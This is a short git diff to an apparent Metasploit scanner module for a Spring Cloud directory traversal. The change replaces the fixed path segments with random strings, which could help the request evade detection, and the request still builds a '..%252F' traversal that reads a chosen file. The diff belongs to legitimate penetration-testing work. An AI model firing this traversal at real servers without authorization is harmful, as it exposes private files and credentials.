diff --git a/modules/auxiliary/scanner/http/springcloud_traversal.rb b/modules/auxiliary/scanner/http/springcloud_traversal.rb index 2f2bc9fa1f..d4ee562dd1 100644 --- a/modules/auxiliary/scanner/http/springcloud_traversal.rb +++ b/modules/auxiliary/scanner/http/springcloud_traversal.rb @@ -39,13 +39,18 @@ class MetasploitModule < Msf::Auxiliary ]) end + def data + Rex::Text.rand_text_alpha(3..8) + end + def run_host(ip) filename = datastore['FILEPATH'] traversal = "#{"..%252F" * datastore['DEPTH']}#{filename}" + uri = "/#{data}/#{data}/master/#{traversal}" res = send_request_raw({ 'method' => 'GET', - 'uri' => "/foo/default/master/#{traversal}" + 'uri' => uri }) unless res && res.code == 200